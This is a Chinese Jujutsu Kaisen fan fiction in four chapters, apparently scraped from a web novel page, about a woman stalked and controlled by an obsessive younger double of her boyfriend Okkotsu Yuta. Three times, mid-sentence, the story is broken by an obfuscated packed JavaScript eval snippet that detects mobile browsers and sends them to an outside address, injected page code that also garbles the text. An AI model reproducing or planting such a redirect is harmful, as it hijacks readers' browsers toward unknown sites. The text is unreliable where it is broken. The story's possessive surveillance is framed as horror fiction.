《一觉醒来乙骨变成了三个》 1. 第一章 “茜?” “该起床了,小懒虫。” 男友熟悉的声音将双叶茜从睡梦中唤醒。 她睡意尚未散去,仍贪恋着被窝的温暖,迷迷糊糊地往身旁的热源蹭了蹭,像往常一样软绵绵的撒娇:“嗯…忧太,让我再睡一会,就一小会。” 感受到乙骨忧太身上独有的炙热体温,双叶茜更是安心,她轻车熟路地闭着眼往他怀抱深处钻了钻,几乎快把整个人都埋了进去。 “茜真是撒娇精,像小猫一样。”乙骨忧太低笑了两声,双臂环住女孩的腰。 他轻轻咬了一下双叶茜的耳垂,声音紧贴着女孩的耳畔响起:“但真的该起床了,你已经睡到中午了哦,肚子不饿吗?” 呼吸里喷洒出的热气打在敏感的耳垂上,痒痒的,让双叶茜不受控制地扭动了两下身子。 “饿~”她软趴趴地回答,理直气壮地提出要求,“那忧太先去给我做好饭,等饭好了我再起床。” 双叶茜与乙骨忧太已经同居很久了。 这段日子里,乙骨忧太几乎把她宠上了天。 她从未想到,在父母那里都不曾体验过的“衣来伸手,饭来张口”的日子,竟在男朋友这里变成了现实。 乙骨忧太伙食全包,并且主动承担所有家务,银行卡也任双叶茜刷,毫无怨言。 甚至在她抱怨不想上班时,他还会笑眯眯地盯着她,说不想上班可以不去,只要待在家里就好了。 双叶茜只需要每天悠闲地躺在床上看剧打游戏,偶尔撒个娇,乙骨忧太便会满足她所有心愿。 小说都不敢这么写。 “好,小懒虫。”乙骨忧太轻笑了一声,“那我先去做饭,今天想吃什么?还是做你最喜欢吃的可乐鸡翅?” 这一次,声音不是从头顶传来,而是从房门附近。 “嗯…前几天吃过了,今天想换点别的口味。”双叶茜仍未察觉出异样,把头埋在乙骨忧太的胸前,用鼻子嗅闻着他身上熟悉又令人安心的气息,“今天我想吃寿司!” “好。”乙骨忧声答应了下来。 随后,房门被合上的轻响传来。 乙骨忧太大概已经出去了。 双叶茜继续赖在怀中人的臂弯中,几乎又要再次沉入梦乡,却忽然听到窗帘“唰——”地一下被拉开了 带着奶气的声音响起:“茜姐姐,太阳晒屁屁了。” 刺眼的阳光彻底驱散了双叶茜最后一丝困意。 她下意识想要发火埋怨乙骨忧太,质问他为何要突然拉开窗帘,不是说好等饭好了再叫她吗? 然而大脑却猛然意识到什么,让她瞬间浑身绷紧。 一股荒谬的危机感从心底攀升。 …等等,刚刚忧太不是已经出去做饭了吗? 那现在抱着她的人是谁,拉开窗帘的人又是谁? 双叶茜倏地睁开眼睛,彻底清醒过来。 一双黝黑的眼眸正对上她的视线。 那双眼睛里盈满专注而深沉的爱意,一眨不眨地注视着她,仿佛她是对方世界里唯一的光。 眼前的少年嘴角含笑,笑容带着些许青涩。 阳光落在他身上,将他半边脸颊勾勒出朦胧的光晕,美好得不像话,宛若从天而降的天使。 “小懒虫,不再眯一会了吗?”乙骨忧太微微偏头,伸手轻刮了一下她的鼻尖,动作亲昵暧昧。 双叶茜愣了一下,下意识地点了点头,脑海中却仿佛响起一阵嗡鸣。 她抱着的人的确是乙骨忧太没错。 可他穿的却并非他们同款的情侣睡衣,而是高专时期的白色校服,整个人看起来小了一圈,脸颊上还带着未完全褪去的少年稚气。 “茜姐姐…”带着奶气的声音又再次从窗边传来,小心翼翼发出请求,“可以也看看我吗?” 双叶茜循声望去,竟看到一个孩童。 更确切地说,是孩童时期的乙骨忧太。 他穿着小学时期的校服,紧张地攥紧衣角,指尖用力到泛白,衣服都被他攥出了褶皱。 小男孩垂着头,眼睛蒙着一层薄薄的水雾,显得楚楚可怜。 他怯生生地望着双叶茜,声音里透着浓浓的委屈:“是我拉开窗帘,把你吵醒了吗?对不起…我不是故意的。” 乙骨忧太貌似十分害怕她生气,轻咬住下唇,往后缩了缩,半边身子躲进窗帘的阴影里,小声又胆怯地嗫嚅:“茜姐姐,对不起,你别生我的气好不好?” 双叶茜的大脑彻底死机了。 这超现实的一幕如同过载的信息,让她这台死机的电脑无法处理,她只觉后脑勺像是烧着了,大脑彻底宕机。 这还没完。 “茜,怎么了?我听到…” 双叶茜最为熟悉、最为依赖的声音从房门处传来,带着毫不掩饰的关切。 她像抓住救命稻草一样望过去—— 乙骨忧太笑着站在房间门口,穿着和她同款的蓝色睡衣,身上系着围裙,手里拿着锅铲。 那张棱角分明的脸上,满是让她安心的温柔。 他像是毫无觉察,语气自然得一如往常:“茜,你睡醒了?饭快做好了,一会就要吃饭了,收拾一下快起来吧。” 不对劲。 十分有一百分的不对劲。 如果门口那个是双叶茜的男友乙骨忧太,那此刻紧搂着她的少年是谁,躲在窗边的那个孩子又是谁? 一股寒意从脊背蹿了上来,恐惧让双叶茜下意识地松开手,想要挣脱少年的怀抱向后逃去。 却未能成功。 少年时期的乙骨忧太似乎察觉到了她的恐惧,环着她的手臂反而收紧了。 他低下头,将额头轻抵在她的肩头,和记忆里曾向她示弱的少年一模一样。 他的声音闷闷的,有种惹人心疼的脆弱感:“茜,你又要丢下我,自己走吗?” 什么? 双叶茜不明白他在说什么,愣了一下。 “茜姐姐,你又要去哪里?把我也带上吧。”孩童时期的乙骨忧太也不再躲藏在窗帘后。 他几乎是扑到床边,死死抓住她的胳膊,带着哭腔哀求道:“别丢下我。” 而门口,那个双叶茜最为熟悉的乙骨忧太,表情也骤然转变。 他脸上的温柔渐渐褪去,脸色煞白到令人恐惧的程度,眼底阴沉得不像话,声音也带着难以言喻的沉重,一字一句地质问她。 “茜,你又要消失了吗?” 巨大的荒谬感和宛如潮水般令人窒息的爱意将双叶茜牢牢包围。 她只觉恐惧,却动弹不得,只能眼睁睁看着她熟悉的爱人一步步逼近。 乙骨忧太扬起嘴角,笑容好似男鬼般阴暗潮湿,眼睛牢牢锁定在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513705|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上。 越来越近—— 越来越近—— “茜…茜!!茜!!!” 双叶茜猛然惊醒,胸口剧烈起伏,大口大口地呼吸着空气,身上全是冷汗。 温暖的阳光透过窗帘的缝隙洒入室内,将房间照亮,也将她从那个恐怖的噩梦中拉回现实。 “做噩梦了?”她的爱人脸上满是焦急和担心,见她醒来,才长长舒了口气,“没事了,只是梦而已,我在这里。” 他温柔地用指腹擦去双叶茜额角的汗,伸手将她揽入怀中,用炙热的体温驱散她心底的冷意,又轻拍着她的后背,像在哄做噩梦的小朋友一样:“没事了,没事了,妖魔鬼怪都离开。” 双叶茜汲取着乙骨忧太怀中炙热的温度和气息,剧烈的心跳缓慢平复下来。 死里逃生的庆幸感将她淹没,她几乎快要哭出来了。 “忧太,我做了个噩梦,好可怕。”双叶茜声音哽咽,想要向爱人倾诉那个荒诞又恐怖的梦境。 乙骨忧太继续拍着她的后背,下巴轻蹭着她的发顶,耐心询问:“梦到什么了?” 但双叶茜却说不出口。 那个梦带来的感觉太过真实,以至于她对眼前的乙骨忧太也生出一丝莫名的畏惧。 她需要缓一会儿,才能让恐惧彻底消散。 双叶茜摇了摇头,将乙骨忧太推开,随口扯了个理由:“没什么,就是梦到自己在被怪物一直追着跑,怎么都逃不掉,还好你把我喊醒了。” 乙骨忧太再次抱住她,语气怜惜:“那只是梦,不会有怪物追你的。就算有,我也会把怪物都赶跑。” 像是为了缓和气氛,他向双叶茜眨了眨眼,故意道:“如果我赶不跑那怪物,那就让怪物先把我吃掉,茜就趁那个时候赶快逃走吧。” 双叶茜被他的话逗笑了,心底的恐惧也随之消散。 乙骨忧太见她情绪好转,低头吻了吻她的发丝:“再睡一会吧,距离上班还早。” 双叶茜点点头,却拿起手机起身:“等我一下,我去趟洗手间。” 只是梦而已。 幸好…只是梦。 双叶茜撑着洗手台,看着镜中自己苍白无比的脸,与镜中人对视。 她打开水龙头,用冷水洗了把脸,想让自己清醒一下。 冷水带来的清醒反倒让梦中那些清晰的面容再次浮现,双叶茜打了个寒颤,用力甩了甩头,低声告诫自己。 “那只是一个梦而已。” 她顺手打开手机,想看看工作群有没有新信息。 双叶茜的工作比较特殊,几乎每天都有突发情况,说是需要24小时待命也不为过。 意外的是,今天工作群一片寂静。 可好友验证列表里,却出现了一个陌生账号。 她点开那人的资料,心脏骤然停跳了一拍。 对方用的是乙骨忧太高专时期的照片作头像,连名字也一模一样。 只是巧合。 双叶茜安慰自己,没打算理会,心想估计是忧太的哪个同学在恶作剧。 她认识乙骨忧太那几个同窗,那些人的坏心思可多着呢。 然而下一秒,对方在好友验证栏里发来了新的消息: [茜。] [我好想你。] [我不在你身边,你不想我吗?] 2. 第二章 “cao。” 双叶茜的素质一向很好,很少说脏话,但此刻这个字无法控制地从她唇齿间挤了出来。 屏幕上,那两条信息说不出的诡异。 [我好想你。] [我不在你身边,你不想我吗?] 心脏仿佛被一双无形的大手死死攥紧,梦中那股令人窒息的紧张感感再次袭来,她在心中暗骂。 这到底是忧太哪个朋友的恶作剧? 不管怎么说,也太过分了! 双叶茜气上心头,手指飞快操作,毫不犹豫地将这个陌生账号删除拉黑。 做完这一切,她才深吸一口气,强行压下所有翻涌的情绪,调整好表情,推开了洗手间的门。 可…真的是恶作剧吗? 是不是太巧合了? 一股怪异的感觉如同阴冷的蛇般,悄然缠上双叶茜的心头。 乙骨忧太依旧躺在床上,侧身望来,眼神温柔依旧:“怎么去了这么久?” “看了下手机,怕有工作消息。”双叶茜不想让爱人察觉异常,尽量让声音听起来自然。 她重新钻回乙骨忧太张开的臂弯里,依赖地蹭了蹭他的胸膛,带着睡意咕哝,“嗯~我要再眯一会。” 乙骨忧太轻笑,替双叶茜掖好被角,双臂温柔环住她的腰,声音尽显宠溺:“好好好,小懒虫,一会我做好饭再喊你起床。” 闻言,双叶茜安心地闭上眼睛,感受着乙骨忧太平稳的心跳和呼吸,睡意渐渐袭来,脑袋也逐渐变得愈发昏沉。 “嗡…嗡嗡…” 手机却不合时宜地在床头柜上震动起来,嗡鸣声在寂静的房间里显得格外刺耳。 她皱着眉睁眼,被吵醒的起床气跟着涌了上来。 是工作群的紧急通知。 [监测到新宿区稻田小学有强烈咒力反应,疑似二级咒灵,请负责值班的辅助监督立即前往现场协助,总部派遣的咒术师将随后抵达。] [@双叶茜] 看来这觉是彻底睡不成了。 双叶茜认命地揉了揉脸,压下起床气所带来的烦躁,正准备关掉手机,起床穿衣,动作却猛然僵住。 社交软件的聊天界面里,弹出了新的信息。 [yuuta通过了你的好友验证。] [yuuta:我们已经是好友了,现在开始聊天吧!] 浑身的血液仿佛在此刻瞬间冻结。 不可能! 她明明亲手把这个人删除拉黑了,是手机故障,还是什么?! “嗡…嗡嗡…” 手机再次震动起来,这次不再是工作群的信息,而是来自顶头上司的电话,双叶茜必须接听。 她强行将那股几乎快要喷涌出的恐惧压下,用尽浑身力气控制住颤抖的身体,关掉了那个令人头皮发麻的聊天界面,摁下接通键。 “双叶!新宿区稻田小学,具体地理位置我随后发给你,现在立刻出现!” “咒灵反应接近一级,总部指派的咒术师已经在路上了,你必须在咒术师抵达前布下帐,最大限度避免波及到普通人!” “明白,我马上到!” 职业的本能让双叶茜立刻进入状态。 她掀开被子下床换衣,动作行云流水,快得像是带风。 “茜,有任务?”乙骨忧太也跟着起床。 “嗯,紧急情况。”双叶茜快速套上西装外套,趁着间隙在爱人的脸上落下一吻,想让他安心些,“是个二级…但有可能接近一级的咒灵,我得立刻赶往现场,做好后勤工作。” 听到这里,乙骨忧太攥住了你的手腕,力道有点紧:“接近一级?太危险了,我跟着一起…” “忧太,”双叶茜打断他,表情认真起来,“这是我的工作,我不是时刻需要你保护的雏鸟,我有能力处理,也能保护好自己,而且总部派的咒术师马上就到,我不会有事的。” 乙骨忧太凝视着双叶茜,黝黑的眼眸此刻显得格外沉静,迟迟不肯松手,也没有开口说话,就这样和你无声地对峙着。 大概是拗不过她,片刻后乙骨忧太松开了手,语气和表情都恢复成往常的样子。 他向双叶茜眯了眯眼露出笑容,声音却暗含着一丝不易察觉的沉重:“好,一切小心,遇到突发情况要马上联系我,我会第一时间赶到的。” “知道了,你再睡一会吧。” 双叶茜拎起为预防突发情况,事先准备好的公文包,几乎是飞一般地冲出了家门。 大概是因为她做的噩梦和那个怪异的陌生账号,双叶茜对这个有乙骨忧太的家产生了抵触,觉得这个家有一种莫名巨大的压力。 能借由这个机会离开一会,她反而感到轻松。 清晨的街道格外空旷,空旷到甚至令人有些心慌。 双叶茜驾驶着汽车往目的地疾驰,努力将全部注意力都集中在路况和任务情报上。 但那个阴魂不散的“yuuta”账号,却像鬼魂般死死地缠在她的心头。 她暗骂了一声,停下车,不信邪地再次点开社交软件。 然而那个账号却从聊天界面里消失了,老老实实地躺在黑名单中,仿佛之前到一切都未曾发生过。 那刚刚好友验证通过的信息,难道是压力过大和紧张过度所产生的幻觉? 双叶茜松了口气,心想或许真是最近太累了。 等这次任务结束,试着申请一个小长假,出去旅游放松放松吧。 她心中宽慰许多,在工作群里发了一条询问信息。 [双叶茜:请问这次总部指派的咒术师是哪位?] 随即便重新驶回车道,向着稻田小学奔去。 赶到稻田小学时,眼前的景象让双叶茜倒吸一口气。 稻田小学是刚建立不久的公立学校,崭新的校舍在初升的阳光下本该显得明亮而充满生机,此刻却像是笼罩着浓重的黑暗。 黏稠的软体物质如同活物般在建筑物的表面缓缓蠕动,每一扇窗户后面都似乎有什么东西在拼命往外挤压,无声地窥探着外面,若细细凝视过去,大概会看到无数变形扭曲的轮廓。 学校操场上鲜艳的塑料滑梯和秋千,此刻的颜色却格外阴暗,无声地静止在空旷的操场上,在死一般的寂静中,投射出扭曲拉长的影子,那些影子里仿佛有无数圆球形的东西在冒出。 这里没有孩童的嬉闹,只有几乎凝成实质的负面情绪,沉甸甸地压在这所小学的每个角落里,连一丝光线也照不进来。 空气中弥漫着一股令人作呕的腐臭味。 双叶茜捏住鼻子,迅速集中精神,完成了帐的布置。 漆黑的结界无声升起,如同一个巨大的碗,将整所被诅咒的小学完全盖住。 完成工作任务,她这才注意到手机屏幕上跳出了新信息。 [五条悟:哎呀~茜酱这么早就在执行任务,真是敬业呢。] 双叶茜无奈地抿了抿嘴,在心中感叹了一下。 这位特级咒术师这么早就起床,恐怕也是在处理咒灵。 为了保证普通人的安全,无论是咒术师和辅助监督,真是都在玩命啊。 难怪大家都买了那么多人身意外险。 [五条悟:这次去的咒术师是忧太哦~] 忧太? 她愣了一下,随即便了然了。 乙骨忧太大概还是没把双叶茜的话听进去,担心她的安全,所以主动向总部申请,替换掉了总部原本指派的咒术师。 毕竟有上杆子的特级咒术师不用是傻子。 这已经不是乙骨忧太第一次这么做了。 自从双叶茜成为辅助监督,但凡任务有一点风险,乙骨忧太总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513706|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会想方设法接手,亲自前来。 真是的… 等这次任务结束,一定要好好跟他谈谈。 总是这样不放心她,连自己的休息都顾不上了,让她怎么开心的起来? 双叶茜叹了口气,手机又震动了好几下。 [五条悟:这算什么,夫妇联手混合双打?] [五条悟:我都要替咒灵哭出来了,挨打就算了,怎么还要吃狗粮的~] 她嘴角微微抽动,正准备回信息,让五条悟别再调侃你们了,却突然听到身后传来一阵微不可察的脚步声。 伴随着一股清冽而熟悉的咒力气息。 “茜。” 是乙骨忧太的声音。 但这声音却似乎少了几分属于成年男性的沉稳,带着一股少年人特有的青涩质感。 她下意识转过身。 下一秒,呼吸却骤然停滞,瞳孔也不受控制地微微放大。 晨光熹微中,少年穿着特定的白色高专制服,安静地站在几步之外。 柔软的黑色发丝被风轻轻拂动,如同深渊般地黑色眼眸将双叶茜牢牢定格,那双眼眸中沉淀着与年龄不符的静谧,仿佛有无数情绪在其中翻涌,你甚至从中看到了些许怨念和委屈。 他背着一被特殊咒符严密缠绕的长刀状咒具,那把咒具散发着不祥的气息,比任何咒具都要更加浓重阴冷。 少年微微偏头,声音比清晨的空气还要冷上几分,语气疏离又陌生:“帐布置好了吗?” 双叶茜没反应过来,只是“啊”了两声。 少年继续询问,语气平淡无波,好像是在询问今天的天气怎样一般,声音里没有任何情绪波动:“为什么把我拉黑了?” 这次倒是带上了几分埋怨:“我发了那么多条验证,你一条都没有通过。” 双叶茜彻底僵住,大脑一片空白。 眼前的少年和手机上那个诡异的账号重合在一起,她张了张嘴,却发不出哪怕一个音节。 恐惧和荒谬感交织在一起,让双叶茜禁不住害怕和思考,眼前这个人到底是个什么东西? 见她不答,乙骨忧太又向前逼近一步。 一步…两步….三步… 他像是耐心的猎手,也不着急,双叶茜退一步,他追一步。 直到她退到墙角,无路可退。 他们此刻的距离十分之近,近到双叶茜甚至能看到乙骨忧太纤长的睫毛,和那双黑色眼睛中映出的脸。 惊慌失措,畏惧至极。 “去国外执行任务那么久的时间里,我每天都在想你。”乙骨忧太低声说着,语气里透着疲惫和你无法理解的委屈,“我好想你啊,茜。” 他的声音渐渐低沉下去,带着一种执拗的困惑:“可是你好像不太想我的样子,为什么?” 双叶茜看着乙骨忧太近在咫尺的脸。 与她爱人的脸一模一样,气质却迥然不同,反倒更像是几年前还未长大的那个乙骨忧太,身形也要小上一圈。 咒灵? 现在的咒灵已经发展到这种程度了? 又或者是…别的东西? 寒意从脚底窜升至头顶,双叶茜吞咽了口唾液,浑身开始冒冷汗。 “是因为…身边有别的人替代了我吗?”乙骨忧太伸手抚摸上双叶茜的脸,用指腹磨蹭着她的脸颊,眼神也一瞬间转变,带着令人毛骨悚人的探究。 周围的空气似乎都因为他溢出的情绪和咒力而变得滞重和冰冷。 他身后那柄杯咒符缠绕的长刀,也隐隐发出了不祥的嗡鸣声。 少年的嘴角勾起一个扭曲的弧度,声音极轻,像是在同双叶茜耳语:“你是从家里出来的吗?我刚刚过来的时候,隔着玻璃看到你车后座上有男人的外套,是跟你同居的人怕你早上出任务的时候冷,特意给你披上的吗?” 3. 第三章 少年冰冷的手指停留在双叶茜的脸颊上,带着窒息感的逼问给她带来了一种近乎实质的恐惧。 “你…”双叶茜艰难地挤出声音,“我不明白你在说什么,什么国外任务?还有那个账号…” “茜,你在转移话题吗?”话还没说完,便被乙骨忧太打断了。 “虽然隔着玻璃,但我的视力一向很好。”少年俯下身,鼻尖与双叶茜相抵,温热的呼吸拂过她的皮肤。 他的声音平静到可怕的程度:“我站在车外仔细看了很久,茜,你车里好像还有一些男士用品,对吗?” 双叶茜的心脏猛地一沉。 正常人会站在别人车外,细致地观察着车里摆放了哪些物品,有什么东西吗? 这早已超出了关心的范畴,是病态的窥探了吧? 一种被无形的视线细细舔舐过所有私密角落的抵触感,顺着她的脊背爬了上来。 “轰——” 一声沉闷的巨响从帐内传来,打破了窒息的氛围。 紧接着是几声短促而尖锐的异响,像是指甲在黑板上摩擦的声音。 乙骨忧太的身体微微一震。 他松开双叶茜,脸上偏执的神情如同潮水般褪去,再次看向她时,已是同往日一样的平和与温柔:“茜,我先去处理任务,在这里等我,好吗?” 话音刚落,他便身影一闪,没入了漆黑的帐中。 双叶茜双腿发软,竟直接无力地瘫坐在地,心脏在胸腔里疯狂跳动,每一个细胞都在疯狂尖叫着,让她赶快从这里逃走。 傻子才会在这里等! 她强撑着站起身,甚至可以说是手脚并用地冲向自己的车。 但还没跑出几步,身后那笼罩着一整所小学的帐便如同被戳破的气泡,无声消散了。 乙骨忧太从逐渐消逝的黑暗中走出,身上纤尘不染,只有指尖还萦绕着几丝还未完全散尽的咒力残余。 他看着双叶茜仓皇逃跑的背景,并没有立刻追赶,反而像是知道她会回头一样,静静地站在原地,问。 “茜,你要去哪里?” 身为辅助监督,双叶茜很清楚特级咒术师解决二级咒灵确实不费吹灰之力。 但快到这种程度,这超出了她的认知。 “不是说好要等我的吗?”乙骨忧太走到双叶茜身边,脸上带着浅笑,十分自然地牵起她的手,“怎么自己先走了,是等不及了吗?” 逃跑的勇气在意识到乙骨忧太的强大时消失殆尽。 “去哪里?”双叶茜声音干涩,脚下像是生了根,一步也不愿挪动,“我的车还在这里,而且我还要处理现场,之后还得回总部提交任务报告。” “那些不重要。”乙骨忧太轻轻一带,让她不得不跟着他迈开脚步,“车就停在这里吧,等会有人会来处理现场,报告我来写就好了。” 他牵着双叶茜,走向与她来时相反的路。 双叶茜试图挣脱开乙骨忧太的手,却不料他反而握得更紧了。 “等等…忧太,至少让我跟家里说一声…”双叶茜条件反射地说。 跟乙骨忧太同居的日子里,在他的监督下,双叶茜已经养成了随时随地和他报备行踪的习惯。 少年的脚步顿了一下,侧过头看她。 阳光落在他几缕黑色发丝上,却无法照进那双深不见底的眼眸中。 “家?”他重复了一遍,露出了一个略带困扰,却不容置疑的笑,“茜,你是不是睡糊涂了?” 乙骨忧太抬起另一只手,轻拂开双叶茜额前被风吹乱的碎发,动作温柔得就像是在对待一件极其珍贵又易碎的宝物。 “有我在的地方,才是你的家,我们不是从很久之前就说好了吗?” “从现在开始,我会一直陪在茜身边的。” 带着重量的话语冷漠地切断双叶茜的幻想,她恍惚间意识到,乙骨忧太并不是在同她商量。 他只是在通知双叶茜。 双叶茜的确与乙骨忧太做过类似的约定。 但那是多年前,她还在上高中的时候。 当时双叶茜遭遇校园霸凌,同学们嘲笑她是无父无母的孤儿,说她没人教也没人管,家长会都没人来,没人要她。 双叶茜躲在校舍后的角落里偷偷哭泣,却被乙骨忧太找到。 “他们说的不对。”少年蹲下身,用尚且单薄却异常坚定的手臂环住她颤抖的肩膀,“茜才不是没人要。” 双叶茜呜咽着说不想再住宿舍,不想再与班上的同学有联系,想拥有一个属于自己的家,但不知道该去哪里。 乙骨忧太握住她的手,十指紧扣,正视着她:“那以后茜就待在我身边吧。” “无论我去哪里,茜都一直跟着我。” “有我在的地方,就是你的家。” 他说出的话既像誓言,又像是一种将双叶茜禁锢的诅咒。 之后很快,双叶茜就转学到乙骨忧太所在的学校,接触到咒术师的世界了。 而现在,乙骨忧太带着她回到了这个熟悉的地方。 ——东京都立咒术高等专门学校。 踏入学校时,双叶茜紧绷着的心稍稍放松了下来。 这里差不多可以说是咒术界的中枢了,强者云集,还有五条悟在,总会有人能看穿身边这个“乙骨忧太”的异常,将她从这诡异的处境中解救出来吧? 然而这份希望很快便被现实所打碎。 所有擦肩而过的学生和老师,都无比自然地与少年形态的乙骨忧太打招呼、寒暄,仿佛他本该就是这副青涩稚嫩的模样。 没有一个人流露出哪怕一丝诧异。 就连恰好还在学校的狗卷棘,见到乙骨忧太也只是平常地点了点头:“鲑鱼。” 这太不对劲了。 为什么没有一个人注意到乙骨忧太的异常? 为什么没有一个人意识到乙骨忧太整个人都小了一圈? 为什么没有一个人疑问他为什么穿着几年前的校服? “忧太,这么快就回来了?” 五条悟的声音从走廊尽头传来,打断了双叶茜混乱的思绪。 他依旧是那副永远不被世间任何规则所束缚住的模样,纯白的发丝狂放不羁地向天竖起,能看穿一切的苍天之眼被黑色眼罩遮盖。 但双叶茜能感觉到,眼罩后的视线精准地落在了她和乙骨忧太身上。 五条悟嘴角习惯性地挂着玩世不恭的微笑,迈着长腿两三步便跨到了他们面前,特地拉长语调调侃:“你们还真是形影不离啊,友情提示,高专禁止早恋哦~” 哈…?早恋? 双叶茜恍惚了一下。 这话不是几年前她们还在上高中时,五条悟才会开的玩笑吗? 自从她和乙骨忧太毕业、正式开始工作之后,五条悟就再也没用过这个词了。 “老师,您别调侃我们了。”乙骨忧太不好意思地挠了挠脸,脸颊两边浮起粉色的红晕,头也微微垂下,“我是来找您汇报这次国外任务情况的。” 五条悟歪了歪头,没有立刻回复,像是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513707|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量和好奇着什么一样,眼罩下的双眼在双叶茜和乙骨忧太之间缓缓移动,将他们来回扫视了一遍。 在沉默几乎快要变成一种无形的压力时,他才轻笑一声:“那来我办公室吧。” 汇报过程很简短。 乙骨忧太用平静无波的语调描述着根本就不存在的国外任务,而五条悟居然全程专注地听着,不时点头,两人甚至还就任务细节一来一回沟通了几番。 双叶茜坐在一旁,只觉自己的认知正在被着荒诞的场景一点点侵蚀。 她甚至产生了一丝微妙的想法。 ——难道有问题的人其实是她? 必须做点什么,来打破僵局。 双叶茜深吸一口气,趁着乙骨忧太话音稍顿顿间隙,鼓起勇气开口:“五条老师,您…” 身旁的乙骨忧太像是早有预料般极其自然地侧过身,手臂轻轻搭在她的肩膀上。 看似亲昵的动作,却无声地将双叶茜未尽的话给压了回去。 “怎么了茜,是有点累了吗?”他声音轻缓,温柔地询问,又转向五条悟,歉意道,“抱歉,老师。这次任务时间太久了,茜这段时间一直在担心我,没有睡好。” “我先带着茜回去,可以吗?” “当然可以,不过——”五条悟道声音里少了往日的不正经,多了几分难以捉摸的深意,“茜,你看起来好像有什么话想对我说的?” 双叶茜的心脏“砰砰砰”地开始加速跳动起来。 这是机会。 是她从身旁这个怪异的乙骨忧太逃走的机会。 双叶茜怀揣着希望张开嘴,却忽然感觉到身旁的视线骤然变得沉重起来。 乙骨忧太仍然保持着得体的微笑,但黑眸却直直地注视着她,里面翻涌着无数她看不懂的暗色。 他的食指敲了两下双叶茜的肩膀,似乎在暗示什么。 是警告,是威胁。 如果她说出口,后果将会是无法承担的。 “我…”双叶茜的声音卡在喉咙里,最终也只能在乙骨忧太的注视下缓缓摇头,声音极轻,“没有,我没什么要说的。” “这样呀,看来是我多虑了。”五条悟恢复了轻松的语气,“那以后有什么想说的,随时都可以来找我哦~” 乙骨忧太微笑着接过话:“谢谢老师,那我们先告辞了。” 他牵着双叶茜走出办公室,穿过走廊。 投向他们的视线依旧平常,甚至带着几分对“校园小情侣”的善意调侃。 双叶茜看到了几个熟悉的面孔,想向他们求助,但巨大的无助和恐惧却仿佛扼住了她的喉咙。 她忽然间明白,在这个唯一可能被帮助的地方,她的呼救也无法被说出口。 “我们回家吧,茜。”乙骨忧太的声音在双叶茜的耳边响起。 不知何时已到了傍晚,夕阳的余晖从乙骨忧太的身后洒落,为他单薄的轮廓镀上一层不真实的光晕,就连发丝也在发着光。 他忽然伸手拿过双叶茜的手机,轻车熟路地输入她的手机密码,像是已经做过许多次这样的事情一般,解开了手机,又在上面操作了几番,才将手机还给了双叶茜。 双叶茜接过手机。 手机屏幕上,几条新信息赫然醒目。 [yuuta通过了你的好友验证。] [yuuta:我们已经是好友了,现在开始聊天吧!] [yuuta:^_^] [yuuta:茜,以后可不能再把我拉黑咯。] 4. 第四章 乙骨忧太无视了双叶茜的抗拒,固执地完成了好友添加的操作。 更让双叶茜不寒而栗的是,乙骨忧太指尖轻点屏幕的动作流畅得没有半分迟疑,就好像早已对她的手机密码了若指掌。 双叶茜只觉自己的手指被冰锥扎了一下,寒意从指尖蔓延至全身。 “走吧,茜。”乙骨忧太的声音将双叶茜从冰冷的窒息感中唤回到现实世界。 他依旧牵着她的手,力道控制得恰到好处,是一种不容她拒绝的温和。 双叶茜被乙骨忧太带着,踏上了那条通往宿舍的小径,一瞬间竟有些精神恍惚。 这条路上一次走,已经是多年前的事情了。 自从毕业后,双叶茜正式担任辅助监督,与乙骨忧太开始同居,她就再未踏足过这里。 暮色渐沉,路灯依次亮起,在小路上投下昏黄的光晕。 与记忆中的某个夜晚悄然重叠在一起。 那是双叶茜刚转入东京咒术独立高等专门学校,搬进宿舍的第一晚。 她比乙骨忧太小一届,刚入学时有很多不适应。 陌生的环境、未曾接触过的咒术界,同学们若有若无的打量,和对咒灵的恐惧… 所有隐藏的情绪,在黑夜中无限放大。 双叶茜蜷缩在陌生的床上,将自己蒙在被子中,紧攥着被角,恐惧得无法入睡。 “叩叩——叩叩——” 窗户忽然传来极轻的叩响,把双叶茜吓了一跳。 …是听错了吧? 这里可是九楼啊。 双叶茜安慰自己可能是太过紧张,导致出现了幻觉,却不料“叩叩——叩叩——”的声音再次从窗户玻璃上响起。 双叶茜吓得屏住呼吸,心脏都快要从胸腔里跳了出来,也不敢去看,只能像个鸵鸟一样躲在被窝里不断颤抖。 “抱歉,吓到你了?” 窗户忽然被轻轻推开,夜风涌入,是少年熟悉的声音。 清冷的月光倾泻而入,勾勒出少年修长的轮廓,他单手撑着门窗,利落地翻身而入。 他轻盈地坐在宿舍窄小的窗台上,月光在他柔软的黑发上流淌着,甚至映照出几近透明的质感。 